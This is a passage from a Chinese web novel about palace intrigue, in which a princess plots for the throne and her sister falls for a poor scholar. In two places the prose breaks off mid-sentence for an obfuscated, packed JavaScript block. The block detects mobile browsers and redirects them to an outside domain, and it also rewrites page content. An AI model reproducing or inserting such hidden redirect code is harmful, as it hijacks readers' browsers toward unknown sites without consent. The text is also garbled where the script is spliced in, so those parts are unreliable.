“历来都是男人坐那个位置,那又如何?”云溪冷笑一声,眼中闪过一丝狠厉,“你母亲当年若有权势,怎会落得那般下场?这世上的事就是如此,若人人都觉得你有反心,那你最好真有这份心,还要有对抗的实力,否则等待你的就只有死路一条。阿柳,你要明白,权利这东西,永远只有握在自己手里,才最稳妥!” 胥毓的呼吸急促起来,眼前浮现出皇后给她看的那封血书,“剖腹取子”四个字像淬了毒的刀子,狠狠扎在心上。 她指尖无意识地抚上小腹,那里仿佛也传来一阵隐隐的坠痛,像是在提醒她那些不能忘却的过往。 “四皇子不愿即位,当个靶子倒合适。”云溪的声音像恶魔的低语,缠上胥毓的耳畔,“咱们先借着他的名义招揽门生,他在明,你在暗。等那些老顽固反应过来,早已木已成舟,想反悔也来不及了……” …… 三人的商议一直持续到日影西斜。 桌上的茶凉了又续,续了又凉,梨花落了满桌,又被风吹走,仿佛有人在无声地计数着时光。 当最后一缕阳光恋恋不舍地隐入西山,一个完整的计划终于在茶香与花影中成型。 “还有一事。”临别时,胥毓突然开口,然后小心翼翼地从怀中取出一个包裹严实的物件,递给云溪。 那东西太过特殊,所以没有打开,仅仅只是隔着软布稍一摩挲,云溪就已经知道了那是什么。 是虎符。 那是胥毓出宫之前又跑了趟密室,然后悄悄偷出来的,她既然已经决定不能坐以待毙,又如何会将这么大的筹码继续留在胥瀮的手里。 所以稍一思量,她便将东西给偷了出来。 “云溪,劳烦你找个可靠之人,在最快的时间内,为我仿制一个假的出来。真的虎符是我娘留给我的,断没有叫那贼子平白拿去了的道理,所以这东西,还是要放在我的手中!” 云溪自然明白其中的关窍,所以不必胥毓多说便毅然点头,“放心吧,最多两日,我还你两个一模一样的。” 马车驶离时,胥毓掀帘回望,见云溪与胥文璟并肩站在梨树下。 晚风拂动他们的衣袂,纠缠在一起,与漫天飞落的梨花相映,竟像一幅浑然天成的画,美得有些不真实。 回宫的路上,胥毓闭目养神,脑海中翻来覆去都是云溪那番大胆的计划。 车轮碾过青石板的“咯噔”声渐渐遥远,取而代之的是自己越来越清晰的心跳,像战鼓般敲打着胸腔。 “公主。”褚奎的声音从车帘外传来,带着几 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“都有权了,谁还在乎身份?”胥毓学着戏文里帝王的腔调,扬了扬眉,“管他王孙公子还是贩夫走卒,只要合朕的心意……” “那属下……样貌如何?”褚奎的声音低得像蚊蚋,不仔细听几乎辨不出来。 胥毓被他逗得大笑起来,眼角眉梢都染上笑意:“那自然是国色天香!” 她本是一句戏言,却见褚奎眼中骤然亮起光来,像是暗夜中突然被点燃的火把,灼灼地映着她。 这反应让胥毓心头一跳,正想再说些什么,却见邰玉轩已走到车前。 “聊什么这么开心?”邰玉轩伸手将胥毓扶下马车,指尖在她掌心轻轻一挠,带着几分亲昵的挑逗。 褚奎沉默地退到一旁,看着邰玉轩几乎是将胥毓半抱半扶地送上了另一辆马车。 车帘落下前,他清晰地看见邰玉轩俯身,在公主的唇上印下一个缠绵的吻,车帘随之垂下,将那点暧昧的光影隔绝在车内。 夜幕低垂,宫墙的阴影越来越浓,像一头沉默的巨兽。 褚奎独自站在阴影里,手中紧紧攥着一枚铜钱。 正面代表着效忠胥嘉的誓言,反面……他自己也说不清代表着什么,只知道,那应该是比誓言更重要的东西…… “褚侍卫。” 但谁知这时,一个阴冷的声音突然从身后响起,褚奎猛地回头,见胥嘉的心腹太监站在三步之外,绿豆似的眼睛里闪着阴鸷的光,让人不寒而栗。 “主子问,荣安公主近日有何动向?” 铜钱在掌心变得滚烫,几乎要灼伤皮肉。 褚奎想起白日里胥毓说“国色天香”时飞扬的神采,眼波流转,顾盼生辉。又想起方才马车里隐约传来的暧昧声响,心里像被什么东西堵住了,闷得发慌。 “公主……”他声音干涩,像是许久未曾说话,“公主与邰世子越发亲密,看那样子,或许不日便会喜结良缘。” “就这些?”太监不耐烦地打断他,尖细的嗓音像指甲刮过木板,“主子要的是能置她于死地的把柄!你这废物,养着你有什么用?” 夜风吹动褚奎的衣袍,刮疼腰间一道尚未愈合的鞭伤,那是上次没能按时回话,被胥嘉用鞭子抽的。 他忽然低低地笑了一声,笑声里带着几分说不清的意味:“旁的,暂时没有。” 太监狐疑地打量他片刻,见他神色坦然,不似作伪,终于悻悻地转身离去,袍角扫过墙角的青苔,带起一阵潮湿的霉味。 褚奎松开掌心,铜钱已然被汗水浸透,冰凉的金属变得温热。 他轻轻一抛,铜钱在空中翻转,映着惨淡的月光,最终“咚”地一声落入池水中,连个水花都没溅起,便沉了底。 远处,胥毓乘坐的马车缓缓驶入夜色,车帘上绣着的玉兰花在灯笼的光晕里若隐若现。褚奎望着那点渐行渐远的灯火,眼神渐渐变得坚定。 若她真能君临天下……那自己这条狗,想必也该换换主人了。 宫墙深处的风呜咽着掠过,像是在应和他的心思,又像是在哀悼那些即将被碾碎的过往…… 52. 姐妹出游,昭云救人 这日天光初透,胥毓已在绮窗下立了半宿。 窗外那株晚樱,花苞鼓鼓囊囊地坠在枝头,似含着满腹心事,被晨露浸得沉甸甸的,偏生不肯舒展半分。倒与她此刻的心境一般,焦灼里裹着几分按捺不住的期待。 她指间的素色绫帕早已被绞得变了形,丝线间隐约透出浅淡的汗渍。 “太子若真在放榜后对那张明远施恩,以储君之尊,咱们便是有通天的手段,也难争过了。”胥毓对着那花苞喃喃自语,眉峰蹙得愈发紧,“寒门士子最重恩义,储君先一步递出橄榄枝,往后便是想拉拢,也难了。” 窗下侍立的芳吟见她脸色发青,鬓边碎发被风吹得有些散乱,忍不住轻声道:“公主这几日夜里总难安睡,眼下都熬出青影了。依奴婢看,那状元郎尚未放榜,未必就一心向着东宫,咱们未必没有胜算。” 胥毓回过神,抬手将碎发别回耳后,指尖划过微凉的耳垂,眼中忽闪过一丝慧黠:“你说的也是。我已打听清楚,这张明远母亲病重,他又是个出了名的孝子,这便是咱们的突破口。只是……” 她轻叹一声,帕子又在掌心团成一团,“我只知他中举后在京中候榜,却不知具体落脚何处。偌大个京城,找一个寒门书生,岂不是大海捞针?” 但不管是不是大海捞针,终归还是得找,不然就这么坐以待毙,等真到了放榜那一日,他们只怕是有再多的手段,也是来不及了的。 所以说干就干,打定主意后,自那日起,胥毓便日日借着监督公主府修缮的由头,带着云溪、邰玉轩等人,在京中各大书肆、茶楼、客栈穿梭。 有时是装作挑选文房四宝,向掌柜的旁敲侧击;有时是在茶楼临窗坐下,听南来北往的举子闲谈,只盼能捕捉到“张明远”三个字的影子。 但谁知偏偏天不遂人愿。 也不知道是不是因为近来出宫实在太勤,引起了皇帝的注意,原本打发走了好几天的准驸马杜若衡竟然又被派了出来,要求每日宫内宫外的跟着胥毓。 所以这日刚出了宫门,便见杜若衡已候在了白玉阶下。 他穿着一身簇新的宝蓝色锦袍,偏生站得歪歪扭扭,额上沁着细密的汗珠,见了胥毓,忙不迭躬身行礼,声音都带着几分发颤:“荣安公主金安,皇上……皇上命臣陪公主出宫,说是……说是让臣与公主多亲近,好为年后大婚做准备。” 胥毓心头火起,面上却依旧是淡淡的疏离:“杜公子倒是勤勉。” 她抬脚便走,身后的杜若衡亦步亦趋地跟着,不远不近,像个甩不掉的影子。 这人素来唯唯诺诺,既不敢违逆圣意,又怕惹她不快,那副左右为难的模样,瞧着倒有几分可笑,偏生落在胥毓眼里,只觉得碍眼得紧。 一连几日,杜若衡都这么跟着,害得她与云溪等人接头都要遮遮掩掩。胥毓越想越气,夜里翻来覆去,想了又想,总算是琢磨出了个顶好的主意来,保管叫那杜若衡没精力再跟着自己! 次日清晨,胥毓特意挑了件鹅黄色宫装,领口袖边绣着几枝折枝迎春,衬得她肌肤莹白如雪。发间只簪了一支碧玉簪,坠着细小的珍珠流苏,走动时轻轻摇曳,添了几分娇憨。 她提着裙摆往乾清宫去,远远便听见太监尖细的唱喏声,知道皇帝正在殿内批阅奏折。 “父皇万福金安。”胥毓盈盈下拜,声音软糯,带着几分撒娇的意味。 皇帝放下朱笔,揉了揉发胀的太阳穴,笑道:“毓儿今日怎么有空来?莫不是又看上了什么新奇玩意儿?” 胥毓挨着龙椅坐下,先是说了些宫中新开的牡丹如何娇艳,又说起昨日在宫外见到的杂耍班子如何精彩。 末了才话锋一转,眼波流转间带着几分期盼:“父皇,儿臣昨日见着那些新鲜景致,心里便想,昭云妹妹身子弱,常年在宫里闷着,怕是连市井的热闹都没见过;弦月妹妹正是好动的年纪,也该多出去走走。不如让她们明日随儿臣一同出宫吧,我们姐妹几个也好说说话。” 皇帝捋着胡须沉吟:“这……宫规森严,公主们随意出宫,怕是不妥。” “父皇~”胥毓拉着皇帝的衣袖轻轻摇晃,流苏上的珍珠蹭着龙袍,发出细碎的声响,“您不是常说,姊妹和睦最是要紧吗?再说有杜若衡跟着,还能出什么岔子?不过是在京中逛逛,申时前定能回宫。” 皇帝被她缠得没法,终是点了头:“罢了,几个丫头里就数你最鬼精灵,朕说不过你,只是你要切记护好妹妹们,莫要贪玩误了时辰。” “好好好!儿臣晓得了!多谢父皇!” 胥毓谢了恩,转身退出殿外,刚走到丹陛之下,嘴角便忍不住扬了起来。 她早算准了,胥弦月性子活泼,最是能闹腾,有她缠着杜若衡,自己便能脱身了。 回宫后,胥毓立刻让人去通知两位公主。 不多时,宫女便来回话:“二公主说身子有些乏,但听说是陪公主您,便应了;四公主一听能出宫,乐得在院子里转了几圈,说要带个大荷包,把街上的糖人都买下来。” 胥毓听得失笑,想来明日定不会无趣。 次日一早,三位公主齐聚宫门口。 胥昭云穿着件月白色素纱衫,外面罩着件藕荷色披风,脸色虽依旧苍白,却难掩清丽,见了胥毓,浅浅一笑:“大皇姐。” 胥弦月则是一身桃红色袄裙,梳着双环髻,簪着赤金镶珠的花钗,活脱脱一只娇俏的小凤凰,拉着胥毓的手便不肯放:“大皇姐,咱们先去买糖人好不好?我听说东市的糖人师傅可厉害了,就没有他捏不出来的人物呢!” 而杜若衡早已候在一旁,见三位公主出来,忙躬身行礼,脸涨得通红,想说话又不知从何说起。 胥毓心中暗笑,瞅准时机便悄悄对胥弦月道:“好妹妹,那杜若衡烦人得紧,我本就不喜欢他,只父皇赐婚非要把他塞给我,我才勉强同他待在一处的。但这些日子我早就受够他了,不想再看见他,想自己逛逛,你能不能想想办法,帮姐姐绊住他,不让她便出现在我眼前呀?” 胥弦月自从当初胥毓没有将她供出来一事后,心里面便一直亲近着这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197026|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大皇姐,也一直苦于只能送些小玩意儿给她解闷,而不能帮她做些什么事。 现在倒好,事儿找上门来了。 可见虽然大皇姐平日里难得与她走动,但心里面肯定还是一直记着自己的,不然为什么不找别人,就找自己呢? 所以胥弦月眼珠一转,立刻拍着胸脯说道:“大皇姐放心,此事包在我身上!” 说罢便如脱笼的雀儿,一会儿拉着杜若衡去买胭脂水粉,一会儿嚷着要尝遍街边小吃,一会儿要去东市看胡商新到的琉璃盏……那杜若衡面皮薄,被小姑娘一闹就红了脸,只得亦步亦趋跟着,哪还顾得上寻胥毓? 而胥昭云体质弱,走了没几步便微微气喘,自然赶不上胥昭云他们那野狗似的步子。 所以胥毓见状,便柔声道:“二皇妹,前面有家天香楼,据说他们的碧螺春很是不错,不如你去楼上歇歇,我去去就回。” 胥昭云一贯聪明,哪能不知胥毓此番把她们叫出来是为了给自己打掩护,虽不知道胥毓到底要做些什么,但胥昭云本也不是好奇心重的人,所以胥毓既然这么说了,她自然也顺势微微一笑:“大皇姐自去忙吧,我正好也想尝尝天香楼的碧螺春,便去坐坐,待回宫之时,再劳烦皇姐来接我。” 她生得弱柳扶风,说话时声音轻得像三月细雨,胥毓又看了看她身边扶着她的侍女紫苏,以及身后跟着的几个五大三粗的侍卫,确定留她一人不会出什么事,才赶忙朝着和云溪约好的地方赶了去。 天香楼临水而建,雕梁画栋,二楼雅间更是视野开阔。 胥昭云临窗坐下,推开雕花窗棂,便见一泓碧水悠悠流淌,岸边垂柳依依,嫩绿的枝条垂在水面,搅起一圈圈涟漪。 紫苏为她沏了杯碧螺春,茶叶在水中缓缓舒展,香气清幽。 她捧着茶盏,望着水中的倒影正出神,却忽听楼下传来一阵喧哗。 “你这穷书生,没钱还想买药?赶紧走,别耽误我们做生意!”是药铺伙计的呵斥声,尖利刺耳。 “求您行行好,家母病重,这药现下只差三钱银子,小生并非不给,实在是今日囊中羞涩,但明日定当补上……”男子的声音低沉沙哑,带着难以掩饰的恳切。 胥昭云探头望去,只见药铺门前立着个青衫书生。他约莫二十出头,身量颇高,却清瘦得厉害,青色长衫洗得发白,袖口还打了个补丁,却浆洗得干干净净。他面容清癯,颧骨微微凸起,脸色苍白如纸,唯有一双眼睛,亮得像寒星,此刻正望着药铺伙计,满是焦灼与恳求。 但伙计却不为所动:“没钱买什么药?去去去!我们济世堂可不是善堂,既然明日有钱,那便明日再来吧!” 他怀中紧紧抱着几包药,指节因为用力而泛白:“这位小哥,家母病重,实在等不得明日了,求您——” “等不得也得等!”伙计说着,竟伸手去抢他怀里的药。 书生急得后退一步,将药护在胸前,似要与人拼命。 胥昭云见状,心中不忍,便没忍住轻唤侍女:“紫苏,取我荷包来。” 53. 青萝花 紫苏刚递过荷包,胥昭云已提着裙摆快步下楼。 “且慢。”她声音不大,却带着一种沉静的力量,让喧闹的人群瞬间安静下来。 那书生回头,见是一位衣着华贵的小姐,慌忙退后两步,拱手作揖:“惊扰小姐了。” 他衣衫虽旧,礼数却周全,弯腰时,鬓边一缕乱发垂落,更显落魄。 胥昭云摆了摆手,示意紫苏付钱,温声道:“这位公子的药钱,我替他付了。” 那书生闻言一怔,眼中瞬间涌上湿意,嘴唇翕动了几下,才道:“这……这如何使得……” “公子不必挂怀,救人要紧。”胥昭云目光落在他打补丁的袖口上,见那补丁缝得整整齐齐,针脚细密,不由多打量了他两眼。 伙计收了钱,嘟囔着进了药铺。而书生抱着药,对着胥昭云深深一揖:“在下张明远,多谢小姐救命之恩。敢问小姐芳名,他日定当报答。” 胥昭云浅笑:“举手之劳,何足挂齿。” 她顿了顿,见他眉宇间满是忧虑,又道,“令堂病重,公子若不嫌弃,我可否随你去看看?或许能帮上些忙。” 胥昭云此举没有恶意,只是想着救人就到底,若这药并不能救命,反正她左右无事,再为其请个大夫也无伤大雅。 但张明远却误以为胥昭云是疑心自己或许是在骗钱,想要亲自去看看自己究竟说的是不是真的,所以他脸上有些发热。 他没有说谎,母亲确实病在床上,带这位小姐去看也没什么,只是他又瞥了一眼眼前这位小姐的衣着打扮。 她穿得这样华丽,把她带到自己那样简陋的家中去,光是想想,他都觉得让这明珠一般的佳人受了委屈。 所以张明远面露难色,似是有些窘迫:“寒舍简陋,恐污了小姐的眼……” “无妨。”胥昭云语气坚定,她是真心想帮他,见张明远推拒,也只当他是客套。 而张明远见她坚持,便不再推辞,引着她们往住处走去。 一路行去,越走越是偏僻,道路渐渐泥泞,两旁的房屋也从青砖瓦房变成了低矮的茅屋,时有衣衫褴褛的孩童光着脚丫跑过,见了胥昭云这般打扮,都好奇地停下脚步,睁大眼睛望着。 胥昭云心中暗惊:原来皇城之中,竟还有这般贫瘠之地。她自幼长在深宫,见惯了亭台楼阁、锦衣玉食,哪里见过这等景象? 穿过几条七拐八弯的窄巷,张明远在一间矮房前停下。那是一间土屋,院墙斑驳,爬满了青翠的藤蔓,木门老旧,却贴着一张崭新的“福”字,红得有些刺眼。 张明远推开吱呀作响的木门,院中竟是收拾得干干净净,墙角种着几株芍药,开得正艳,花瓣上还沾着晨露。 “娘,药买回来了。”张明远快步进屋,声音里带着一丝急切。 胥昭云跟着进去,只见屋内陈设简陋,只有一张木床、一张破桌,几只竹椅,却收拾得一尘不染。 床上躺着一位老妇人,面色蜡黄,气息微弱,见有人进来,挣扎着要起身。 “老人家不必多礼。”胥昭云忙让紫苏上前按住她。 张明远放下药包,从墙角拖过一只竹椅,用袖子仔细擦了擦,才腼腆地对胥昭云道:“小姐请坐,寒舍简陋,委屈你了。” 胥昭云坐下,目光扫过屋内,见窗台上摆着一只粗瓷瓶,插着几朵不知名的小野花,虽不起眼,却透着几分生机;屋檐下挂着几束风干的草药,想必是他自己采来的。 她心中微动,这般困境,竟还能活得如此细致,可见其心性。 张明远为她倒了碗水,碗沿有些缺口,他递过来时,脸上满是歉意。 随后便生火煎药,他动作熟练,添柴、扇风、看火候,一丝不苟,想来是常做这些事。 “令堂所患何病?”胥昭云轻声问。 张明远往灶里添了根柴,火光映在他清瘦的脸上,忽明忽暗。 “积劳成疾,又染了风寒。”他苦笑一声,“都怪我没用,读了这么多年书,却连母亲的药钱都凑不齐。” 胥昭云见屋角的箱笼半开着,里面整齐地码着一摞摞书,便又问:“张公子是读书人?” “在下不才,今科应试。”张明远望着病榻上的母亲,眼中闪过一丝黯然,随即又亮了起来,“为了我读书,母亲受了太多苦,乡邻们也帮了我不少。若是此番能得中,我定要做个清廉的官,为百姓办实事,不辜负他们的恩情。” 说起抱负,他像是打开了话匣子,从幼时如何借书苦读,说到某年大旱,县令强征赋税,害得乡邻卖儿鬻女。 “那时我便想,若有朝一日能为官,定要做个明镜高悬的青天,让百姓能有口饭吃,有件衣穿。”他说得动情,拳头微微握紧,眼中闪烁着光。 胥昭云静静地听着,心中泛起一阵从未有过的波澜。 宫中的夫子讲过经史子集,却从未说起过民间疾苦;父皇关心的是边疆战事、朝堂制衡,也从未提过百姓的艰难。这些话,像一股清泉,淌进她久旱的心田。 “小姐出身富贵,怕是难懂这些。”张明远见她发愣,自嘲地笑了笑。 胥昭云轻抚袖口刺绣,低声道:“我……” 她想说自己对于这些虽不太懂,但家中父兄必然是懂的,但是话到嘴边,她又忽然咽了回去。 毕竟,这人要是又问及了她的父兄情况怎么办,她如何能说自己是当朝公主? 而胥昭云没接话,张明远也没有过多追问,没过多久一会儿,药便煎好了。 张明远将药汁滤得干干净净,又试了试温度,才小心地端到床前,跪在榻边,一勺勺喂老妇人喝下,动作轻柔得像是在对待什么稀世珍宝。 老妇人喝了几口,精神好了些,混沌的目光掠过门口,忽然喃喃道:“远儿,那是……仙女吗?” 张明远耳根一红,低声道:“娘,那是儿子的恩人。” 胥昭云心头一热,悄悄退到院中。不多时,张明远出来,说母亲已睡下。 “令堂的病……”胥昭云欲言又止。 “老毛病了,养养就好。”张明远望着墙角的芍药,声音有些沙哑。 胥昭云从怀中取出一个锦囊,递给他:“这里有些银两,公子且收下,好生照料令堂,专心备考。” “不可!”张明远急忙后退两步,连连摆手,“小姐已经帮了我大忙,我怎能再受你的银子?” “就当是我借你的。”胥昭云将锦囊放在石桌上,目光清澈,“他日公子金榜题名,再还不迟。也望张公子记得今日之言,为百姓谋福祉。” 张明远望着那锦囊,又看了看胥昭云,终是收下了。 他郑重地朝胥昭云作了个揖:“小姐大恩,明远没齿难忘。敢问小姐尊姓大名,府上何处?日后也好登门道谢。” “我姓云,家住城东。”胥昭云起身告辞,“时候不早,我也该回去了。” 张明远送她到门口,眼看着人就要走出院门,忽然“噗通”一声跪下,对着她深深叩首道:“云小姐,我张明远在此立誓,若有朝一日得偿所愿,定为天下百姓谋福,不负小姐今日善心!” 胥昭云一惊,忙回过身扶他起来,四目相对,她见他眼中似有星辰闪烁,心头一跳,脸颊竟有些发烫,忙转身道:“公子留步。” 说罢,便带着紫苏匆匆离去。 …… 回到天香楼,胥昭云依旧心神不宁,指尖抚过微凉的茶盏,眼前总浮现出张明远的模样。 他说话时坚定的眼神,喂药时温柔的动作,还有那一身洗得发白却整洁的长衫。 正出神,胥毓回来了,见她这副模样,打趣道:“二皇妹想什么呢?魂都丢了。” 胥昭云回过神,脸颊微红,轻声道:“大皇姐,若是一个人,总想着另一个人,是为何故?” 胥毓何等精明,立刻笑道:“莫不是有了心上人?” 胥昭云垂眸,长睫如蝶翼般轻颤:“大抵……是吧。只是我们……注定无缘。” 她坐了许久,也想了许多,只是见了一面,聊了几句,谈何就能如此轻易的爱上一个人呢? 可越想,她的心里反而就愈加的确定自己的心意。 或许爱情就是如此吧,遇见那个人的时候,无关乎时间,无关乎地点,你只需要知道,他是他,与你志趣相投,抱负一致,追求一样,便会义无反顾的陷进去。 而胥毓正欲细问,忽听胥昭云又幽幽地道:“其实我也没想过要和他有什么以后。我是公主,生为公主,婚事从来由不得自己,或和亲,或赐给权臣,都是命。但我也无憾了,至少此生,除了顺应天命,我的生命里也出现过一个叫做张明远的意外,这就足够了。” 胥昭云是个豁达的人,她对所有的事情都看得很开,并不会为自己徒添太多的悲伤,但这也就意味着她其实一个人悄悄的咽下了许多委屈。 胥毓为她感到悲哀,也为她感到不忿,正想劝诫两句让她不要这么轻易的就认命,乾坤未定,谁知道最后等着她的会是什么样的结局。 但嘴巴一张,话还没出口,她便忽然跳了起来,“等等!二皇妹,你刚刚说的是谁?张明远?可是那个病了老娘的书生张明远?” 这回倒是胥昭云惊讶了:“大皇姐如何知晓?” 胥毓抚掌大笑:“真真是踏破铁鞋无觅处,得来全不费工夫呀!”她拉着胥昭云的手,“好妹妹,快与我说说,你是如何遇见他的?” 胥昭云便将前事一一道来,说到张明远跪地立誓时,眼中不自觉地泛起柔情。 胥毓听罢,若有所思:“如此说来,这张明远倒是个有情有义、胸有抱负之人……” 胥昭云不明白胥毓说道张明远时为何如此激动,她追问了一句:“大皇姐认识此人?” “不认识。”胥毓摇头,但又点头,“但马上就会认识了。” 胥昭云不解其意,胥毓也没打算多说,她看着胥昭云一脸疑惑的表情,轻轻抚摸着她的发顶,“二皇妹,你先前所说的心悦于他可是实话?我虽不能据实以告,但不满你说,此人确实是有大才,而我这些时日也都是在找他。你既帮我找着了人,我没什么好回报的,作为答谢,你给句准话,倘若真的是对他有意,那么大皇姐答应你,无论如何都回帮你成就这段姻缘!” 听见胥毓的前半段,胥昭云还云里雾里的有些惊讶,但待她说到要帮自己和张明远牵线,顿时便一脸羞臊的摇头拒绝了。 她一张俏脸羞得通红:“大皇姐不必费心。我身为公主,婚事岂能自主?更何况他也不一定喜欢我,强人所难之事,实在并非我所愿。” 她望向远方:“且他有凌云之志,若做了驸马,一身才学无可施展,岂非我之过?公主之尊,皇家恩典,不过虚名,我不愿拖累他。” 胥毓将胥昭云从头到脚看了又看,实在不知她美成这样,是如何好意思说出张明远会不喜欢她的。 就凭这张脸,莫说是张明远了,就连她是个男人,只怕见了也是要走不动道了,张明远还敢说不喜欢? 美不死他! 至于做了驸马被耽误? 胥毓撇了撇嘴,“朝野上下哪个做官的是一辈子孤独终老的,怎么可能有人因为点儿女私情就被耽搁了,二皇妹此番说辞实在是有些杞人忧天。倘若真有这样的人,那估计他那才学也都是作伪的!” 但胥昭云笑了笑,知道胥毓会错了意也不恼,而是耐心的解释道:“大皇姐误解我了,我的意思并不是他和我在一起就会被耽误,而是大皇姐可能不知,东陵祖制,驸马不得入仕。他有那般抱负,我又怎能误他前程?” 胥毓并非从小在皇宫里长大,后来被找回来,学习的礼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16201941|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仪也多为应付宫廷宴席。所以对于这些关于公主婚嫁方面的礼仪不大清楚,也是在所难免。 但胥毓想不明白,有才学的人为何尚了公主便只能以色侍人? 有情之人不该分离,有才之辈不可不用,规矩是死的,人是活的,他们不该守着那些吃人的破规矩! 所以看着胥昭云面上强颜欢笑的哀戚,胥毓忍了又忍,到底是没忍住,“那倘若有人破了这规矩,让你二人鹣鲽共白首,郎君亦入仕,昭云,你待如何?” 她没再客气的叫她二皇妹,而是唤了她的名字。 “大皇姐此言何意?” 胥毓回到:“没什么含义,只是冬寒已过,春回大地,万物复苏,东陵城,或许也要冒新芽了。” 听胥毓这样说话,胥昭云也知道她不是在开玩笑,但这规矩是东陵城历来便有的,有人要破了这规矩,那岂非是连这皇朝都要被颠覆? 胥昭云看起来虽然性子温吞,是最乖觉的皇室公主,但她骨子里却是一个非常聪明的女子。 她很清楚胥毓这话,暗藏着怎样惊天的秘密。 她的父皇不是一个好帝王,早年的时候为人暴戾严苛,办了许多错事,致使百姓民不聊生。如今到了晚年,又渐渐迷上炼制丹药,这样的一个人,实在不该成为这天下之主。 只是除却是帝王,这个男人更是她的父亲,作为女儿,她又有何资格对这前朝之事加以置喙。 但如今,这个刚回来的姐姐,却对着自己展露出了这样的野心,她素知这位大皇姐性子果决,却没想到她竟有这般魄力,敢说出“改规矩”的话来。 她在替谁做事?太子?二皇子?还是四皇子? 不管是谁,她难道就不怕自己将这一切说出去,她就这样相信自己吗? 看着胥毓坚定的眼神,胥昭云忽然笑了,既然大皇姐如此相信她,她又如何好辜负了这一片真心? 所以她为胥毓倒了杯茶,没回答她的问题,反而另起了个话头:“大皇姐既说到春,妹妹忽然想起东陵城的一则传说,不知大皇姐可有兴趣听妹妹说上一说?” 胥毓接过茶杯:“愿闻其详。” 胥昭云也端起茶盏,指尖轻轻摩挲着杯沿,眼神飘向窗外的风景,“据说很久以前,东临城有对姐妹,姐姐叫素娥,妹妹叫青萝。” 胥毓微微前倾身子,眼中流露出好奇的神色,窗外微风拂过,几片花瓣飘落在桌上。 姐姐素娥温柔似水,妹妹青萝刚烈如竹,她们父母早逝,相依为命。 那年春日,恶霸赵老爷强抢素娥入府,青萝潜入救人,却在逃亡时被追兵围堵。为了让姐姐逃脱,她独自断后,最终缺被乱箭射杀。 素娥悲痛欲绝,将妹妹葬在山崖上。 一年后,她乔装成舞姬,在赵老爷的酒中下毒,亲手为妹妹报了仇。当夜,她回到青萝坟前,含笑合眼,再未醒来。 翌年春天,青萝的坟头便开满了一种从未见过的青色小花,花瓣如剑,花心如血。人们都说,那是青萝的魂魄所化,便叫它‘青萝花’。 而东陵城感情要好的姐妹每到春日,便会结伴出游去寻找此花,倘若能寻到,便代表着姐妹二人会得到庇护,此生平安顺遂。 胥昭云说完故事,忽而抬眸看向胥毓:“这青萝花色青如竹,繁而不艳,见过之人此生都能平安顺遂,姐姐可曾见过这花?” 胥毓不解其意,但还是摇了摇头:“不曾。” 但胥昭云却笑了:“那姐姐今日便见到了。往后,昭云便是姐姐的青萝花。” 胥毓倏而一楞,但随即又立马明白了胥昭云的未尽之言。 于是两位公主相视一笑,静默无言,但都明白了彼此的心意…… 正说着,胥弦月忽然风风火火地跑了进来,她头上的珠钗都歪了,手里还拿着一串糖人,见了胥毓,嚷嚷道:“大皇姐,那杜若衡可真没意思,我说要去看杂耍,他说‘公主需端庄’;我说要去买胭脂,他说‘男子不宜近脂粉’,最后被我缠得没办法,竟蹲在街角数蚂蚁去了!” 胥毓听得失笑,又问:“他如今在哪?” “还在街角数蚂蚁呢,我趁机溜回来的。”胥弦月说着,瞥见胥昭云微红的脸颊,凑近了打趣,“二皇姐,你脸怎么这么红?莫不是楼上有什么俊俏公子?” 胥昭云被她说得愈发不好意思,轻轻推了她一下:“就你嘴贫。” 胥毓怕胥弦月再追问下去,忙打岔道:“时候不早了,咱们该回宫了,免得父皇惦记。” 三人收拾妥当,下楼时正撞见杜若衡从街角过来,见了她们,脸上一喜,忙迎上来:“公主们,该回宫了?” 他袖口沾了些尘土,想来是蹲在地上数蚂蚁时蹭到的,瞧着竟有几分憨态。 胥毓懒得理他,只对胥昭云与胥弦月道:“走吧。” 一路回宫,胥昭云都有些心不在焉,马车摇晃间,她总想起张明远立誓时的模样,想起他眼中的星辰。 她知道,自己这颗心,怕是再也难平静了。 而城西的土屋里,张明远正捧着那只胥昭云碰过的粗瓷碗,碗沿虽有缺口,他却用布仔细擦了又擦,仿佛那是什么稀世珍宝。 他将碗沿轻轻贴在额上,鼻尖似乎还萦绕着她身上淡淡的兰花香,于是忍不住便心中默念着“云小姐”三个字,然后暗下决心:他定要好好备考,待金榜题名后,不仅要报答她的恩情,更要如誓言所说,为百姓谋福,不辜负她的一片善心! 窗外,那几株芍药开得正艳,风吹过,花瓣轻轻摇曳,似在为这段刚刚萌芽的情愫,送上无声的祝福。 而宫中的胥毓,已开始盘算着如何避开太子的眼线,再次与张明远接触。 她知道,这不仅是为了胥昭云,更是为了给自己,给这东陵,寻一个真正有担当的未来…… 54. 收复张明远 翌日天方微亮,窗纸刚泛出些鱼肚白,胥毓已起身梳洗。 妆奁内,她拣了件月白色素绫袄,外罩水绿烟罗裙,褪去了往日的金翠辉煌,倒添了几分江南女子的温婉。 对着菱花铜镜,她亲自将青丝挽成个随云髻,只拣了支青玉扁方簪定住,又取过螺子黛,细细将眉峰压平些,再蘸了点淡赭石,在两颊匀开,掩去那股皇家的矜贵气。 “公主,这般装束,真的妥当吗?”芳吟捧着件豆绿素绸披风,眉头皱得紧紧的,声音里满是担忧。 